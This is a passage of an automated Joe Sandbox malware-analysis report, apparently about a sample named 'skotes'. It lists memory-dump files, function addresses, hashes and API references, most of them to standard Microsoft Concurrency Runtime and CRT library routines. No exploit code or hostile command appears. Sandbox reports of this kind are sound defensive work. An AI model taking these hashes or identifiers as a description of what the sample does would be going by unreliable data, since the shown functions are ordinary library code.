Associated: 00000009.00000002.2702424928.0000000000B2F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702424928.0000000000B39000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702493282.0000000000B3D000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702518157.0000000000B40000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702562685.0000000000B4C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702589289.0000000000B53000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702621193.0000000000B69000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702648222.0000000000B7B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702679637.0000000000B95000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702704985.0000000000B99000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702734086.0000000000B9A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702765393.0000000000BA1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702793171.0000000000BA9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702818043.0000000000BAB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702844254.0000000000BAC000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702869326.0000000000BB1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702896759.0000000000BBE000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702920155.0000000000BC0000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702947733.0000000000BC9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702975649.0000000000BD1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703067088.0000000000BD9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703092667.0000000000BDB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703122571.0000000000BEA000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703146273.0000000000BEC000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703173362.0000000000BF7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703197093.0000000000BFB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703197093.0000000000C1A000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703255021.0000000000C2F000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703280730.0000000000C31000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703303725.0000000000C32000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703331299.0000000000C34000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703356260.0000000000C48000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703385781.0000000000C49000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703411462.0000000000C4A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703439711.0000000000C4F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703462026.0000000000C51000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703503040.0000000000C5F000.00000040.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_940000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Virtual$FindMatchingNode::ProcessorScheduling$Base::ContextInternalMarkOversubscribedProcProcessor::ResetRetirementstd::invalid_argument::invalid_argument
String ID: count$ppVirtualProcessorRoots
API String ID: 3897347962-3650809737
Opcode ID: 963cbd22adb45234d470f370a44f540adc9f78d62095a55f60852da0ffb7e717
Instruction ID: c285de85c96bd02e9f8fad0d8326934bb99f43405190ad39337ca69fe4066975
Opcode Fuzzy Hash: 963cbd22adb45234d470f370a44f540adc9f78d62095a55f60852da0ffb7e717
Instruction Fuzzy Hash: 36216534A04309AFCF14EFA9D495ABDBBB9BF45314F144069E815973A1DB30AE04DF90

Function 009678E1 Relevance: 12.1, APIs: 8, Instructions: 106timeCOMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::SchedulerBase::GetInternalContext.LIBCONCRT ref: 00967903

Part of subcall function 00965CB8: __EH_prolog3_catch.LIBCMT ref: 00965CBF
Part of subcall function 00965CB8: Concurrency::details::SchedulerBase::ThrottlingTime.LIBCMT ref: 00965CF8

Concurrency::details::SchedulerBase::ThrottlingTime.LIBCMT ref: 0096792A
Concurrency::details::SchedulerBase::GetInternalContext.LIBCONCRT ref: 00967936

Part of subcall function 00965CB8: Concurrency::details::SchedulerBase::AddContext.LIBCONCRT ref: 00965D70
Part of subcall function 00965CB8: Concurrency::details::InternalContextBase::SpinUntilBlocked.LIBCMT ref: 00965D7E

Concurrency::details::SchedulerBase::GetNextSchedulingRing.LIBCMT ref: 00967982
Concurrency::location::_Assign.LIBCMT ref: 009679A3
Concurrency::details::SchedulerBase::StartupVirtualProcessor.LIBCONCRT ref: 009679AB
Concurrency::details::SchedulerBase::ThrottlingTime.LIBCMT ref: 009679BD
Concurrency::details::SchedulerBase::ChangeThrottlingTimer.LIBCONCRT ref: 009679ED

Part of subcall function 0096691D: Concurrency::details::SchedulerBase::FoundAvailableVirtualProcessor.LIBCONCRT ref: 00966942
Part of subcall function 0096691D: Concurrency::details::VirtualProcessor::ClaimTicket::ExerciseWith.LIBCMT ref: 00966965

Memory Dump Source

Source File: 00000009.00000002.2701886655.0000000000941000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00940000, based on PE: true

Associated: 00000009.00000002.2701845109.0000000000940000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2701886655.00000000009A2000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702131308.00000000009A9000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702162601.00000000009AB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702191932.00000000009B7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702299503.0000000000B11000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702327020.0000000000B13000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702358184.0000000000B2B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702387708.0000000000B2C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702424928.0000000000B2F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702424928.0000000000B39000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702493282.0000000000B3D000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702518157.0000000000B40000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702562685.0000000000B4C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702589289.0000000000B53000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702621193.0000000000B69000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702648222.0000000000B7B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702679637.0000000000B95000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702704985.0000000000B99000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702734086.0000000000B9A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702765393.0000000000BA1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702793171.0000000000BA9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702818043.0000000000BAB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702844254.0000000000BAC000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702869326.0000000000BB1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702896759.0000000000BBE000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702920155.0000000000BC0000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702947733.0000000000BC9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702975649.0000000000BD1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703067088.0000000000BD9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703092667.0000000000BDB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703122571.0000000000BEA000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703146273.0000000000BEC000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703173362.0000000000BF7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703197093.0000000000BFB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703197093.0000000000C1A000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703255021.0000000000C2F000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703280730.0000000000C31000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703303725.0000000000C32000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703331299.0000000000C34000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703356260.0000000000C48000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703385781.0000000000C49000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703411462.0000000000C4A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703439711.0000000000C4F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703462026.0000000000C51000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703503040.0000000000C5F000.00000040.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_940000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Base::$Scheduler$ContextThrottling$InternalTimeVirtual$Processor$AssignAvailableBlockedChangeClaimConcurrency::location::_ExerciseFoundH_prolog3_catchNextProcessor::RingSchedulingSpinStartupTicket::TimerUntilWith
String ID:
API String ID: 1475861073-0
Opcode ID: e5f6ca3cbb7375102534bb9ce9f7030bf6bb821756b29020f3f95bdaa7addcda
Instruction ID: 19aac2ea1bfe080721a692789ba5d38fd52cafe903b7e6590eca9e3593c19dd2
Opcode Fuzzy Hash: e5f6ca3cbb7375102534bb9ce9f7030bf6bb821756b29020f3f95bdaa7addcda
Instruction Fuzzy Hash: 90312730B082566ADF16AAB844927FEF7F99F91708F0405A9D885D7242DB284D49C791

Function 00974840 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 00974877
___except_validate_context_record.LIBVCRUNTIME ref: 0097487F
_ValidateLocalCookies.LIBCMT ref: 00974908
__IsNonwritableInCurrentImage.LIBCMT ref: 00974933
_ValidateLocalCookies.LIBCMT ref: 00974988

Strings

csm, xrefs: 0097491D

Memory Dump Source

Source File: 00000009.00000002.2701886655.0000000000941000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00940000, based on PE: true

Associated: 00000009.00000002.2701845109.0000000000940000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2701886655.00000000009A2000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702131308.00000000009A9000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702162601.00000000009AB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702191932.00000000009B7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702299503.0000000000B11000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702327020.0000000000B13000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702358184.0000000000B2B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702387708.0000000000B2C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702424928.0000000000B2F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702424928.0000000000B39000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702493282.0000000000B3D000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702518157.0000000000B40000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702562685.0000000000B4C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702589289.0000000000B53000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702621193.0000000000B69000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702648222.0000000000B7B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702679637.0000000000B95000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702704985.0000000000B99000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702734086.0000000000B9A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702765393.0000000000BA1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702793171.0000000000BA9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702818043.0000000000BAB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702844254.0000000000BAC000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702869326.0000000000BB1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702896759.0000000000BBE000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702920155.0000000000BC0000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702947733.0000000000BC9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702975649.0000000000BD1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703067088.0000000000BD9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703092667.0000000000BDB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703122571.0000000000BEA000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703146273.0000000000BEC000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703173362.0000000000BF7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703197093.0000000000BFB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703197093.0000000000C1A000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703255021.0000000000C2F000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703280730.0000000000C31000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703303725.0000000000C32000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703331299.0000000000C34000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703356260.0000000000C48000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703385781.0000000000C49000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703411462.0000000000C4A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703439711.0000000000C4F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703462026.0000000000C51000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703503040.0000000000C5F000.00000040.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_940000_skotes.jbxd

Yara matches

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 1170836740-1018135373
Opcode ID: bc845ed3d62a4f7129f337d27febd3301c83135bd095480028ee78d057910b22
Instruction ID: 1500fc6bd2feb79cd1ed5112685434a66e5ad3d1a29151558df03089202f4380
Opcode Fuzzy Hash: bc845ed3d62a4f7129f337d27febd3301c83135bd095480028ee78d057910b22
Instruction Fuzzy Hash: 1E41B335A00219EBCF10EF68C885B9EBBB8AF85718F14C155E92C5B3A3D7719A11CB91

Function 0096DD18 Relevance: 10.6, APIs: 7, Instructions: 117threadCOMMON

Download Yara Rule

APIs

Concurrency::details::UMS::CreateUmsCompletionList.LIBCONCRT ref: 0096DD91
Concurrency::details::InternalContextBase::ExecutedAssociatedChore.LIBCONCRT ref: 0096DDAE
Concurrency::details::InternalContextBase::WorkWasFound.LIBCONCRT ref: 0096DE14
Concurrency::details::InternalContextBase::ExecuteChoreInline.LIBCMT ref: 0096DE29
Concurrency::details::InternalContextBase::WaitForWork.LIBCONCRT ref: 0096DE3B
Concurrency::details::InternalContextBase::CleanupDispatchedContextOnCancel.LIBCMT ref: 0096DE4B
Concurrency::details::UMS::GetCurrentUmsThread.LIBCONCRT ref: 0096DE74

Memory Dump Source

Source File: 00000009.00000002.2701886655.0000000000941000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00940000, based on PE: true

Associated: 00000009.00000002.2701845109.0000000000940000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2701886655.00000000009A2000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702131308.00000000009A9000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702162601.00000000009AB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702191932.00000000009B7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702299503.0000000000B11000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702327020.0000000000B13000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702358184.0000000000B2B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702387708.0000000000B2C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702424928.0000000000B2F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702424928.0000000000B39000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702493282.0000000000B3D000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702518157.0000000000B40000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702562685.0000000000B4C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702589289.0000000000B53000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702621193.0000000000B69000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702648222.0000000000B7B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702679637.0000000000B95000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702704985.0000000000B99000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702734086.0000000000B9A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702765393.0000000000BA1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702793171.0000000000BA9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702818043.0000000000BAB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702844254.0000000000BAC000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702869326.0000000000BB1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702896759.0000000000BBE000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702920155.0000000000BC0000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702947733.0000000000BC9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702975649.0000000000BD1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703067088.0000000000BD9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703092667.0000000000BDB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703122571.0000000000BEA000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703146273.0000000000BEC000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703173362.0000000000BF7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703197093.0000000000BFB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703197093.0000000000C1A000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703255021.0000000000C2F000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703280730.0000000000C31000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703303725.0000000000C32000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703331299.0000000000C34000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703356260.0000000000C48000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703385781.0000000000C49000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703411462.0000000000C4A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703439711.0000000000C4F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703462026.0000000000C51000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703503040.0000000000C5F000.00000040.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_940000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Context$Base::Internal$ChoreWork$AssociatedCancelCleanupCompletionCreateCurrentDispatchedExecuteExecutedFoundInlineListThreadWait
String ID:
API String ID: 2885714658-0
Opcode ID: 4fe971cf22beb8a85fa00897fc3994ff864693035c7471b978bb679e2e386ae6
Instruction ID: 7084f79053bd98a4ffa403cb21c8c8fe3c8a86268cfcfe3ae42a2658276f0ae5
Opcode Fuzzy Hash: 4fe971cf22beb8a85fa00897fc3994ff864693035c7471b978bb679e2e386ae6
Instruction Fuzzy Hash: F841D030F062449BCF25FFA485657BC77A96F90304F0444A9E8A16F2D3DB364E08CB62

Function 0096E7AF Relevance: 10.6, APIs: 7, Instructions: 102COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::InternalContextBase::ReclaimVirtualProcessor.LIBCONCRT ref: 0096E7D7

Part of subcall function 0096E544: Concurrency::details::VirtualProcessor::Deactivate.LIBCONCRT ref: 0096E577
Part of subcall function 0096E544: Concurrency::details::VirtualProcessor::Deactivate.LIBCONCRT ref: 0096E599

Concurrency::details::ContextBase::TraceContextEvent.LIBCMT ref: 0096E854
Concurrency::details::ScheduleGroupSegmentBase::ReleaseInternalContext.LIBCMT ref: 0096E860
Concurrency::details::SchedulerBase::TriggerCommitSafePoints.LIBCMT ref: 0096E86F
Concurrency::details::SchedulerBase::VirtualProcessorActive.LIBCONCRT ref: 0096E879
Concurrency::location::_Assign.LIBCMT ref: 0096E8AD
Concurrency::details::ScheduleGroupSegmentBase::AddRunnableContext.LIBCONCRT ref: 0096E8B5

Memory Dump Source

Source File: 00000009.00000002.2701886655.0000000000941000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00940000, based on PE: true

Associated: 00000009.00000002.2701845109.0000000000940000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2701886655.00000000009A2000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702131308.00000000009A9000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702162601.00000000009AB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702191932.00000000009B7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702299503.0000000000B11000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702327020.0000000000B13000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702358184.0000000000B2B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702387708.0000000000B2C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702424928.0000000000B2F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702424928.0000000000B39000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702493282.0000000000B3D000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702518157.0000000000B40000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702562685.0000000000B4C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702589289.0000000000B53000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702621193.0000000000B69000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702648222.0000000000B7B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702679637.0000000000B95000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702704985.0000000000B99000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702734086.0000000000B9A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702765393.0000000000BA1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702793171.0000000000BA9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702818043.0000000000BAB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702844254.0000000000BAC000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702869326.0000000000BB1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702896759.0000000000BBE000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702920155.0000000000BC0000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702947733.0000000000BC9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702975649.0000000000BD1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703067088.0000000000BD9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703092667.0000000000BDB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703122571.0000000000BEA000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703146273.0000000000BEC000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703173362.0000000000BF7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703197093.0000000000BFB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703197093.0000000000C1A000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703255021.0000000000C2F000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703280730.0000000000C31000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703303725.0000000000C32000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703331299.0000000000C34000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703356260.0000000000C48000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703385781.0000000000C49000.00000040.00000001.01000000.0000000A.sdmpDownload File
